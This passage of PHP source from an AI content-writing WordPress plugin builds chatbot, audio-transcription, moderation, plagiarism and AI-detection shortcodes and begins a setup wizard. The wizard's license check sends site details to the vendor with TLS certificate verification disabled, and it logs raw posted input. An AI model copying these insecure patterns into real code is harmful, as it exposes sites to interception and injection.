c-5.558-6.101-13.721-8.131-22.233-5.806c-5.286,1.385-15.071,6.513-18.204,16.952c-3.459,11.536,2.101,25.537,16.708,41.773 c0.232,0.246,5.189,5.44,14.196,14.241c-5.854,27.913-21.178,88.148-28.613,117.073c-17.463,9.331-32.013,20.571-43.277,33.465 l-0.738,0.844l-0.477,1.013c-1.16,2.437-6.705,15.087-2.542,25.249c1.901,4.62,5.463,7.995,10.302,9.767l1.297,0.349 c0,0,1.17,0.253,3.227,0.253c9.01,0,31.25-4.735,43.179-48.695l2.89-11.138c41.639-20.239,93.688-26.768,131.415-28.587 c19.406,14.391,38.717,27.611,57.428,39.318l0.611,0.354c0.907,0.464,9.112,4.515,18.721,4.524l0,0 c13.732,0,23.762-8.427,27.496-23.113l0.189-1.004c1.044-8.393-1.065-15.958-6.096-21.872 C407.711,233.281,387.978,232.195,386.205,232.135z M142.812,319.744c-0.084-0.1-0.124-0.194-0.166-0.3 c-0.896-2.157,0.179-7.389,1.761-11.222c6.792-7.594,14.945-14.565,24.353-20.841 C159.598,317.039,146.274,319.603,142.812,319.744z M200.984,122.695L200.984,122.695c-14.07-15.662-13.859-23.427-13.102-26.041 c1.242-4.369,6.848-6.02,6.896-6.035c2.824-0.768,4.538-0.617,6.064,1.058c3.451,3.791,6.415,15.232,5.244,36.218 C202.764,124.557,200.984,122.695,200.984,122.695z M193.714,256.068l0.243-0.928l-0.032,0.011 c7.045-27.593,17.205-67.996,23.047-93.949l0.211,0.201l0.021-0.124c18.9,17.798,47.88,43.831,82.579,70.907l-0.39,0.016 l0.574,0.433C267.279,235.396,228.237,241.84,193.714,256.068z M408.386,265.12c-2.489,9.146-7.277,10.396-11.665,10.396l0,0 c-5.094,0-9.998-2.12-11.116-2.632c-12.741-7.986-25.776-16.688-38.929-25.998c0.105,0,0.2,0,0.316,0 c22.549,0,37.568,1.369,38.158,1.411c3.766,0.14,15.684,1.9,20.82,7.938C407.984,258.602,408.755,261.431,408.386,265.12z"></path> </g> </g> </g></svg></span>'; } } if (isset($aiomatic_Chatbot_Settings['allow_stream_stop']) && $aiomatic_Chatbot_Settings['allow_stream_stop'] == 'on') { $return_me .= '<span id="aistopbut' . $chatid . '" class="aiomatic-stop-image cr_none" title="' . esc_html__('Stop message processing', 'aiomatic-automatic-ai-content-writer') . '"><svg fill="' . $go_color . '" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><g data-name="stop circle"><path d="M12 0a12 12 0 1 0 12 12A12 12 0 0 0 12 0zm0 22a10 10 0 1 1 10-10 10 10 0 0 1-10 10z"/><path d="M16 7H8a1 1 0 0 0-1 1v8a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V8a1 1 0 0 0-1-1zm-1 8H9V9h6z"/></g></svg></span>'; } if($prompt_templates != '') { $predefined_prompts_arr = explode(';', $prompt_templates); $return_me .= '<select id="aiomatic_chat_templates' . $chatid . '" class="aiomatic_chat_input chat-form-control cr_width_full">'; $return_me .= '<option disabled selected>' . esc_html($select_prompt) . '</option>'; foreach($predefined_prompts_arr as $sval) { $ppro = explode('|~|~|', $sval); if(isset($ppro[1])) { $return_me .= '<option value="' . esc_attr($ppro[1]) . '">' . esc_html($ppro[0]) . '</option>'; } else { $return_me .= '<option value="' . esc_attr($sval) . '">' . esc_html($sval) . '</option>'; } } $return_me .= '</select>'; } if($model == 'default' || $model == '') { $return_me .= '<label for="model-chat-selector' . $chatid . '" class="aiomatic-ai-text">Model:</label><select class="aiomatic-ai-input" id="model-chat-selector' . $chatid . '">'; foreach ($models as $zmodel) { $return_me .= "<option value='" . $zmodel . "'>" . $zmodel . "</option>"; } $return_me .= '</select>'; } if($temp == 'default' || $temp == '') { $return_me .= '<label for="temperature-chat-input' . $chatid . '" class="aiomatic-ai-text">Temperature:</label><input type="number" min="0" step="0.01" max="2" class="aiomatic-ai-input" id="temperature-chat-input' . $chatid . '" name="temperature" value="1">'; } if($top_p == 'default' || $top_p == '') { $return_me .= '<label for="top_p-chat-input' . $chatid . '" class="aiomatic-ai-text">Top_p:</label><input type="number" min="0" step="0.01" max="1" class="aiomatic-ai-input" id="top_p-chat-input' . $chatid . '" name="top_p" value="1">'; } if($presence == 'default' || $presence == '') { $return_me .= '<label for="presence-chat-input' . $chatid . '" class="aiomatic-ai-text">Presence Penalty:</label><input type="number" min="-2" step="0.01" max="2" class="aiomatic-ai-input" id="presence-chat-input' . $chatid . '" name="presence" value="0">'; } if($frequency == 'default' || $frequency == '') { $return_me .= '<label for="frequency-chat-input' . $chatid . '" class="aiomatic-ai-text">Frequency Penalty:</label><input type="number" min="0" step="0.01" max="2" class="aiomatic-ai-input" id="frequency-chat-input' . $chatid . '" name="frequency" value="0">'; } $return_me .= '</div>'; if (isset($aiomatic_Chatbot_Settings['voice_input']) && $aiomatic_Chatbot_Settings['voice_input'] == 'on') { if(!($prompt_editable == 'no' || $prompt_editable === '0' || $prompt_editable == 'off' || $prompt_editable == 'disabled' || $prompt_editable == 'disable' || $prompt_editable == "false") || $prompt_templates == '') { $return_me .= '<button type="button" id="openai-chat-speech-button' . $chatid . '" class="openai-chat-speech-button btn btn-primary" title="Record your voice"> <img src="' . plugins_url('images/mic.ico', __FILE__) . '"> </button>'; } } if(!empty($assistant_id)) { $ai_assistant_id = get_post_meta($assistant_id, '_assistant_id', true); } else { $ai_assistant_id = ''; } $return_me .= $complete_me; $return_me .= '<input type="hidden" id="aiomatic_assistant_id' . $chatid . '" value="' . esc_html($ai_assistant_id) . '"><input type="hidden" id="aiomatic_thread_id' . $chatid . '" value="' . esc_html($thread_id) . '"> <button type="button" id="aichatsubmitbut' . $chatid . '" class="aichatsubmitbut btn btn-primary"><span id="button-chat-text' . $chatid . '">' . $submit . '</span></button>'; $return_me .= '<div id="openai-chat-response' . $chatid . '"> </div> <div id="compliance' . $chatid . '" class="aiomatic-text-center cr_fullw">' . $compliance . '</div> </div>'; if(!empty($custom_footer)) { $return_me .= '<div class="openai-custom-footer">' . $custom_footer . '</div>'; } if(!empty($custom_css)) { $return_me .= '<style>' . $custom_css . '</style>'; } $return_me .= ' </form> '; } $return_me .= '</div>'; return $return_me; } add_shortcode( 'aiomatic-audio-converter', 'aiomatic_audio_convert' ); function aiomatic_audio_convert( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } $aiomatic_languages = array( 'en' => 'English', 'af' => 'Afrikaans', 'ar' => 'Arabic', 'hy' => 'Armenian', 'az' => 'Azerbaijani', 'be' => 'Belarusian', 'bs' => 'Bosnian', 'bg' => 'Bulgarian', 'ca' => 'Catalan', 'zh' => 'Chinese', 'hr' => 'Croatian', 'cs' => 'Czech', 'da' => 'Danish', 'nl' => 'Dutch', 'et' => 'Estonian', 'fi' => 'Finnish', 'fr' => 'French', 'gl' => 'Galician', 'de' => 'German', 'el' => 'Greek', 'he' => 'Hebrew', 'hi' => 'Hindi', 'hu' => 'Hungarian', 'is' => 'Icelandic', 'id' => 'Indonesian', 'it' => 'Italian', 'ja' => 'Japanese', 'kn' => 'Kannada', 'kk' => 'Kazakh', 'ko' => 'Korean', 'lv' => 'Latvian', 'lt' => 'Lithuanian', 'mk' => 'Macedonian', 'ms' => 'Malay', 'mr' => 'Marathi', 'mi' => 'Maori', 'ne' => 'Nepali', 'no' => 'Norwegian', 'fa' => 'Persian', 'pl' => 'Polish', 'pt' => 'Portuguese', 'ro' => 'Romanian', 'ru' => 'Russian', 'sr' => 'Serbian', 'sk' => 'Slovak', 'sl' => 'Slovenian', 'es' => 'Spanish', 'sw' => 'Swahili', 'sv' => 'Swedish', 'tl' => 'Tagalog', 'ta' => 'Tamil', 'th' => 'Thai', 'tr' => 'Turkish', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'vi' => 'Vietnamese', 'cy' => 'Welsh' ); ob_start(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to add an API key in plugin settings for this shortcode to work.'); return ''; } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { aiomatic_log_to_file('Currently only OpenAI API is supported for audio processing!'); return ''; } } $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden} .aiomatic_progress{ height: 15px; width: calc(100% - 25px); background: #727272; border-radius: 5px; color: #fff; padding: 2px 12px; position: relative; font-size: 12px; text-align: center; } .aiomatic_progress.aiomatic_error span{ background: #bb0505; } .aiomatic_progress span{ display: block; position: absolute; height: 100%; border-radius: 5px; background: #2271b1; top: 0; left: 0; transition: width .6s ease; } .aiomatic_progress small{ position: relative; font-size: 12px; } .aiomatic_width_10 { width:10%; } .aiomatic_width_40 { width:40%; } .aiomatic_width_50 { width:50%; } .cr_fullw { width:100%; }'; $name = md5(get_bloginfo()); wp_register_style( $name . '-audio-reg-style', false ); wp_enqueue_style( $name . '-audio-reg-style' ); wp_add_inline_style( $name . '-audio-reg-style', $reg_css_code ); wp_register_script( $name . '-audio-js', trailingslashit( plugins_url('', __FILE__) ) . 'scripts/audio.js', array('jquery'), AIOMATIC_MAJOR_VERSION ); wp_enqueue_script( $name . '-audio-js' ); wp_localize_script( $name . '-audio-js', 'aiomatic_audio_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-audio-nonce') )); ?> <form class="aiomatic-audio-form"> <table class="form-table"> <tr><td colspan="2"><h3><?php echo esc_html__('Settings', 'aiomatic-automatic-ai-content-writer');?></h3></td><td><h3><?php echo esc_html__('Result', 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr> <th class="aiomatic_width_10" scope="row"><?php echo esc_html__('Purpose', 'aiomatic-automatic-ai-content-writer');?></th> <td class="aiomatic_width_40"> <select name="audio_purpose" class="coderevolution_gutenberg_input regular-text aiomatic-audio-purpose"> <option value="transcriptions" selected><?php echo esc_html__('Transcriptions', 'aiomatic-automatic-ai-content-writer');?></option> <option value="translations"><?php echo esc_html__('Translations', 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> <td class="aiomatic_width_50" rowspan="8"><textarea rows="22" class="cr_fullw" disabled placeholder="The result will be displayed here" id="aiomatic_audio_result"></textarea></td> </tr> <tr> <th scope="row"><?php echo esc_html__('File', 'aiomatic-automatic-ai-content-writer');?></th> <td> <div class="mb-2"> <label><input checked class="aiomatic-audio-select" name="type" value="upload" type="radio"> <?php echo esc_html__('Computer', 'aiomatic-automatic-ai-content-writer');?></label> <label><input class="aiomatic-audio-select" name="type" value="url" type="radio"> <?php echo esc_html__('URL', 'aiomatic-automatic-ai-content-writer');?></label> <label><input class="aiomatic-audio-select" name="type" value="record" type="radio"> <?php echo esc_html__('Recording', 'aiomatic-automatic-ai-content-writer');?></label> </div> <div class="aiomatic-audio-type aiomatic-audio-upload"> <input type="file" name="file" accept="audio/mpeg,video/mp4,video/mpeg,audio/m4a,audio/wav,video/webm"> </div> <div class="aiomatic-audio-type aiomatic-audio-url aiomatic-hide"> <input type="url" name="url" class="coderevolution_gutenberg_input regular-text" placeholder="Example: https://domain.com/audio.mp3"> </div> <div class="aiomatic-audio-type aiomatic-audio-record aiomatic-hide"> <button type="button" class="button button-primary" id="btn-audio-record"><?php echo esc_html__('Record', 'aiomatic-automatic-ai-content-writer');?></button> <button type="button" class="button button-primary aiomatic-hide" id="btn-audio-record-pause"><?php echo esc_html__('Pause', 'aiomatic-automatic-ai-content-writer');?></button> <button type="button" class="button button-link-delete aiomatic-hide" id="btn-audio-record-stop"><?php echo esc_html__('Stop', 'aiomatic-automatic-ai-content-writer');?></button> <div class="aiomatic-hide" id="aiomatic-audio-record-result"></div> </div> </td> </tr> <tr> <th scope="row"><?php echo esc_html__('Model', 'aiomatic-automatic-ai-content-writer');?></th> <td> <select name="model" class="coderevolution_gutenberg_input regular-text"> <option selected value="whisper-1">whisper-1</option> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__('Prompt (Optional)', 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="text" class="coderevolution_gutenberg_input regular-text" placeholder="Enter your AI prompt (optional)" name="prompt" maxlength="255"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__('Temperature (Optional)', 'aiomatic-automatic-ai-content-writer');?></th> <td> <input value="" class="coderevolution_gutenberg_input regular-text" placeholder="Enter your AI temperature (optional)" name="temperature" type="number" min="0" max="2"> </td> </tr> <tr class="aiomatic_languages"> <th scope="row"><?php echo esc_html__('Language (Optional)', 'aiomatic-automatic-ai-content-writer');?></th> <td> <select name="language" class="coderevolution_gutenberg_input regular-text"> <?php foreach ($aiomatic_languages as $key => $aiomatic_language){ echo '<option value="' . esc_html($key) . '">' . esc_html($aiomatic_language) . '</option>'; } ?> </select> </td> </tr> <tr> <th scope="row"></th> <td> <div> <div class="aiomatic_upload_success aiomatic-hide"><?php echo esc_html__('Conversion has completed successfully.', 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic_progress aiomatic-hide"><span></span><small><?php echo esc_html__('Converting. This will take some time. Please wait!', 'aiomatic-automatic-ai-content-writer');?></small></div> <div class="aiomatic-error-msg"></div> </div> </td> </tr> <tr> <th scope="row"></th> <td> <button class="button button-primary" id="button-start-converter"><?php echo esc_html__('Start', 'aiomatic-automatic-ai-content-writer');?></button> <button class="aiomatic-hide button button-link-delete" id="aiomatic-btn-cancel" type="button"><?php echo esc_html__('Cancel', 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> </table> </form> <?php $myvariable = ob_get_clean(); return $myvariable; } add_shortcode( 'aiomatic-text-moderation', 'aiomatic_text_moderation' ); function aiomatic_text_moderation( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } ob_start(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to add an API key in plugin settings for this shortcode to work.'); return ''; } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { aiomatic_log_to_file('Currently only OpenAI API is supported for text moderation!'); return ''; } } $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden} .aiomatic_moderation_progress{ height: 15px; width: calc(100% - 25px); background: #727272; border-radius: 5px; color: #fff; padding: 2px 12px; position: relative; font-size: 12px; text-align: center; } .aiomatic_moderation_progress.aiomatic_error span{ background: #bb0505; } .aiomatic_moderation_progress span{ display: block; position: absolute; height: 100%; border-radius: 5px; background: #2271b1; top: 0; left: 0; transition: width .6s ease; } .aiomatic_moderation_progress small{ position: relative; font-size: 12px; } .aiomatic_width_half { width:50%; } .cr_fullw { width:100%; }'; $name = md5(get_bloginfo()); wp_register_style( $name . '-moderation-reg-style', false ); wp_enqueue_style( $name . '-moderation-reg-style' ); wp_add_inline_style( $name . '-moderation-reg-style', $reg_css_code ); wp_register_script( $name . '-moderation-js', trailingslashit( plugins_url('', __FILE__) ) . 'scripts/moderation.js', array('jquery'), AIOMATIC_MAJOR_VERSION ); wp_enqueue_script( $name . '-moderation-js' ); wp_localize_script( $name . '-moderation-js', 'aiomatic_moderation_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-moderation-nonce') )); ?> <form class="aiomatic-moderation-form"> <table class="form-table"> <tr><td><h3><?php echo esc_html__('Input', 'aiomatic-automatic-ai-content-writer');?></h3></td><td><h3><?php echo esc_html__('Result', 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr> <td class="aiomatic_width_half" > <textarea class="cr_fullw" rows="30" placeholder="Enter your text here" id="aiomatic_moderation_input"></textarea> </td> <td class="aiomatic_width_half"> <textarea class="cr_fullw" rows="30" disabled placeholder="API response" id="aiomatic_moderation_result"></textarea> </td> </tr> <tr> <td colspan="2"> <div> <div id="aiomatic_moderation_success" class="aiomatic-hide"><?php echo esc_html__('Text moderation has completed successfully.', 'aiomatic-automatic-ai-content-writer');?></div> <div id="aiomatic_moderation_progress" class="aiomatic-hide"><span></span><small><?php echo esc_html__('Checking. This will take some time. Please wait!', 'aiomatic-automatic-ai-content-writer');?></small></div> <div id="aiomatic-error-msg"></div> </div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary" id="button-start-moderation"><?php echo esc_html__('Text Moderation Check', 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> </table> </form> <?php $myvariable = ob_get_clean(); return $myvariable; } add_shortcode( 'aiomatic-plagiarism-check', 'aiomatic_text_plagiarism' ); function aiomatic_text_plagiarism( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } ob_start(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['plagiarism_api']) || trim($aiomatic_Main_Settings['plagiarism_api']) == '') { return esc_html__('You need to add a PlagiarismCheck API key in plugin settings for this shortcode to work.', 'aiomatic-automatic-ai-content-writer'); } $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden} .aiomatic_plagiarism_progress{ height: 15px; width: calc(100% - 25px); background: #727272; border-radius: 5px; color: #fff; padding: 2px 12px; position: relative; font-size: 12px; text-align: center; } .aiomatic_plagiarism_progress.aiomatic_error span{ background: #bb0505; } .aiomatic_plagiarism_progress span{ display: block; position: absolute; height: 100%; border-radius: 5px; background: #2271b1; top: 0; left: 0; transition: width .6s ease; } .aiomatic_plagiarism_progress small{ position: relative; font-size: 12px; } .aiomatic_width_half { width:50%; } .cr_fullw { width:100%; }'; $name = md5(get_bloginfo()); wp_register_style( $name . '-plagiarism-reg-style', false ); wp_enqueue_style( $name . '-plagiarism-reg-style' ); wp_add_inline_style( $name . '-plagiarism-reg-style', $reg_css_code ); wp_register_script( $name . '-plagiarism-js', trailingslashit( plugins_url('', __FILE__) ) . 'scripts/plagiarism.js', array('jquery'), AIOMATIC_MAJOR_VERSION ); wp_enqueue_script( $name . '-plagiarism-js' ); wp_localize_script( $name . '-plagiarism-js', 'aiomatic_plagiarism_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-plagiarism-nonce') )); ?> <form class="aiomatic-plagiarism-form"> <table class="form-table"> <tr><td><h3><?php echo esc_html__('Input', 'aiomatic-automatic-ai-content-writer');?></h3></td><td><h3><?php echo esc_html__('Result', 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr> <td class="aiomatic_width_half" > <textarea class="cr_fullw" rows="32" placeholder="Enter your text here" id="aiomatic_plagiarism_input"></textarea> </td> <td class="aiomatic_width_half"> <input type="text" value="" disabled placeholder="Detected plagiarism percentage" id="aiomatic_plagiarism_percentage"> <textarea class="cr_fullw" rows="30" disabled placeholder="Detected plagiated source list" id="aiomatic_plagiarism_result"></textarea> </td> </tr> <tr> <td colspan="2"> <div> <div id="aiomatic_plagiarism_success" class="aiomatic-hide"><?php echo esc_html__('Text plagiarism checking has completed successfully.', 'aiomatic-automatic-ai-content-writer');?></div> <div id="aiomatic_plagiarism_progress" class="aiomatic-hide"><span></span><small><?php echo esc_html__('Checking. This will take some time. Please wait!', 'aiomatic-automatic-ai-content-writer');?></small></div> <div id="aiomatic-error-msg-plagiarism"></div> </div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary" id="button-start-plagiarism"><?php echo esc_html__('Text Plagiarism Check', 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> </table> </form> <?php $myvariable = ob_get_clean(); return $myvariable; } add_shortcode( 'aiomatic-ai-detector', 'aiomatic_text_ai_detector' ); function aiomatic_text_ai_detector( $atts ) { if ( isset($_GET['page']) ) { global $pagenow; if ( $pagenow == 'post.php' || $pagenow == 'post-new.php' ) { return; } } if(!aiomatic_validate_activation()) { return; } ob_start(); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['plagiarism_api']) || trim($aiomatic_Main_Settings['plagiarism_api']) == '') { return esc_html__('You need to add a PlagiarismCheck API key in plugin settings for this shortcode to work.', 'aiomatic-automatic-ai-content-writer'); } $reg_css_code = '.aiomatic-hide {display:none!important;visibility:hidden} .aiomatic_aidetector_progress{ height: 15px; width: calc(100% - 25px); background: #727272; border-radius: 5px; color: #fff; padding: 2px 12px; position: relative; font-size: 12px; text-align: center; } .aiomatic_aidetector_progress.aiomatic_error span{ background: #bb0505; } .aiomatic_aidetector_progress span{ display: block; position: absolute; height: 100%; border-radius: 5px; background: #2271b1; top: 0; left: 0; transition: width .6s ease; } .aiomatic_aidetector_progress small{ position: relative; font-size: 12px; } .aiomatic_width_half { width:50%; } .cr_fullw { width:100%; }'; $name = md5(get_bloginfo()); wp_register_style( $name . '-aidetector-reg-style', false ); wp_enqueue_style( $name . '-aidetector-reg-style' ); wp_add_inline_style( $name . '-aidetector-reg-style', $reg_css_code ); wp_register_script( $name . '-aidetector-js', trailingslashit( plugins_url('', __FILE__) ) . 'scripts/aidetector.js', array('jquery'), AIOMATIC_MAJOR_VERSION ); wp_enqueue_script( $name . '-aidetector-js' ); wp_localize_script( $name . '-aidetector-js', 'aiomatic_aidetector_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-aidetector-nonce') )); ?> <form class="aiomatic-aidetector-form"> <table class="form-table"> <tr><td><h3><?php echo esc_html__('Input', 'aiomatic-automatic-ai-content-writer');?></h3></td><td><h3><?php echo esc_html__('Result', 'aiomatic-automatic-ai-content-writer');?></h3></td></tr> <tr> <td class="aiomatic_width_half" > <textarea class="cr_fullw" rows="32" placeholder="Enter your text here" id="aiomatic_aidetector_input"></textarea> </td> <td class="aiomatic_width_half"> <input type="text" value="" disabled placeholder="Conclusion confidence percentage" id="aiomatic_aidetector_percentage"> <textarea class="cr_fullw" rows="30" disabled placeholder="AI content detector conclusion" id="aiomatic_aidetector_result"></textarea> </td> </tr> <tr> <td colspan="2"> <div> <div id="aiomatic_aidetector_success" class="aiomatic-hide"><?php echo esc_html__('Text AI content detection has completed successfully.', 'aiomatic-automatic-ai-content-writer');?></div> <div id="aiomatic_aidetector_progress" class="aiomatic-hide"><span></span><small><?php echo esc_html__('Checking. This will take some time. Please wait!', 'aiomatic-automatic-ai-content-writer');?></small></div> <div id="aiomatic-error-msg-aidetector"></div> </div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary" id="button-start-aidetector"><?php echo esc_html__('Text AI Content Check', 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> </table> </form> <?php $myvariable = ob_get_clean(); return $myvariable; } ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������class-setup-wizard.php������������������������������������������������������������������������������0000644�����������������00000421016�14757771437�0011050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class Aiomatic_Setup_Wizard { private $step = ''; private $steps = array(); public function __construct() { if ( current_user_can( 'access_aiomatic_menu' ) ) { if ( empty( $_GET['page'] ) || 'aiomatic_admin_settings' !== $_GET['page'] ) { return; } $name = md5(get_bloginfo()); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); wp_enqueue_script($name . '-main-script', plugins_url('scripts/main.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-setup-script', plugins_url('scripts/setup.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); if(!isset($aiomatic_Main_Settings['best_user'])) { $best_user = ''; } else { $best_user = $aiomatic_Main_Settings['best_user']; } if(!isset($aiomatic_Main_Settings['best_password'])) { $best_password = ''; } else { $best_password = $aiomatic_Main_Settings['best_password']; } $header_main_settings = array( 'best_user' => $best_user, 'best_password' => $best_password, 'ajaxurl' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), ); wp_localize_script($name . '-main-script', 'mycustommainsettings', $header_main_settings); wp_register_style($name . '-browser-style', plugins_url('styles/aiomatic-browser.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-browser-style'); wp_register_style($name . '-custom-style', plugins_url('styles/coderevolution-style.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-custom-style'); wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('interface'); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('media-upload'); wp_enqueue_script('thickbox'); wp_enqueue_style('thickbox'); $this->setup_wizard($aiomatic_Main_Settings); } } public function setup_wizard($aiomatic_Main_Settings) { $this->steps = array( 'intro' => array( 'name' => esc_html__( 'Welcome', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_introduction' ), 'handler' => '' ), 'activation' => array( 'name' => esc_html__( 'Activation', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_basic' ), 'handler' => array( $this, 'setup_step_basic_save' ) ), 'apikeys' => array( 'name' => esc_html__( 'API Keys', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_api' ), 'handler' => array( $this, 'setup_step_api_save' ) ), 'content' => array( 'name' => esc_html__( 'Content', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_content' ), 'handler' => array( $this, 'setup_step_content_save' ) ), 'editor' => array( 'name' => esc_html__( 'Editor', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_editor' ), 'handler' => array( $this, 'setup_step_editor_save' ), ), 'chatbot' => array( 'name' => esc_html__( 'Chatbot', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_chatbot' ), 'handler' => array( $this, 'setup_step_chatbot_save' ), ), 'forms' => array( 'name' => esc_html__( 'AI Forms', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_forms' ), 'handler' => array( $this, 'setup_step_forms_save' ), ), 'playground' => array( 'name' => esc_html__( 'Playground', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_playground' ), 'handler' => array( $this, 'setup_step_playground_save' ), ), 'more' => array( 'name' => esc_html__( 'More', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_more' ), 'handler' => array( $this, 'setup_step_more_save' ), ), 'next_steps' => array( 'name' => esc_html__( 'Ready!', 'aiomatic-automatic-ai-content-writer' ), 'view' => array( $this, 'setup_step_ready' ), 'handler' => '' ) ); $this->step = isset( $_GET['step'] ) ? sanitize_key( $_GET['step'] ) : current( array_keys( $this->steps ) ); wp_enqueue_style( 'aiomatic-setup', plugins_url('styles/setup.css', __FILE__), array( 'dashicons', 'install' ) ); if ( isset($_POST['save_step']) && ! empty( $_POST['save_step'] ) && isset( $this->steps[ $this->step ]['handler'] ) ) { call_user_func( $this->steps[ $this->step ]['handler'] ); } $plugin = plugin_basename(__FILE__); $plugin_slug = explode('/', $plugin); $plugin_slug = $plugin_slug[0]; if(isset($_POST[$plugin_slug . '_register_setup']) && isset($_POST[$plugin_slug. '_register_code_setup']) && trim($_POST[$plugin_slug . '_register_code_setup']) != '' && isset($_POST['aiomatic_nonce_setup']) && wp_verify_nonce( $_POST['aiomatic_nonce_setup'], 'openai-secret-nonce')) { if(strlen(trim($_POST[$plugin_slug . '_register_code_setup'])) != 36 || strstr($_POST[$plugin_slug . '_register_code_setup'], '-') == false) { aiomatic_log_to_file('Invalid registration code submitted: ' . $_POST[$plugin_slug . '_register_code_setup']); update_option('aiomatic_activation_status', 'Invalid registration code submitted: ' . $_POST[$plugin_slug . '_register_code_setup']); } else { $ch = curl_init('https://wpinitiate.com/verify-purchase/purchase.php'); if($ch !== false) { $data = array(); $data['code'] = trim($_POST[$plugin_slug . '_register_code_setup']); $data['siteURL'] = get_bloginfo('url'); $data['siteName'] = get_bloginfo('name'); $data['siteEmail'] = get_bloginfo('admin_email'); $fdata = ""; foreach ($data as $key => $val) { $fdata .= "$key=" . urlencode(trim($val)) . "&"; } curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); if($result === false) { aiomatic_log_to_file('Failed to get verification response: ' . curl_error($ch)); update_option('aiomatic_activation_status', 'Failed to get verification response: ' . curl_error($ch)); } else { $rj = json_decode($result, true); if(isset($rj['error'])) { update_option('aiomatic_activation_status', 'Activation error: ' . $rj['error']); } elseif(isset($rj['item_name'])) { $rj['code'] = $_POST[$plugin_slug . '_register_code_setup']; if($rj['item_id'] == '38877369' || $rj['item_id'] == '13371337' || $rj['item_id'] == '19200046') { update_option($plugin_slug . '_registration', $rj); } else { aiomatic_log_to_file('Invalid response from purchase code verification (are you sure you inputed the right purchase code?): ' . print_r($rj, true)); update_option('aiomatic_activation_status', 'Invalid response from purchase code verification (are you sure you inputed the right purchase code?): ' . print_r($rj, true)); } } else { aiomatic_log_to_file('Invalid json from purchase code verification: ' . print_r($result, true)); update_option('aiomatic_activation_status', 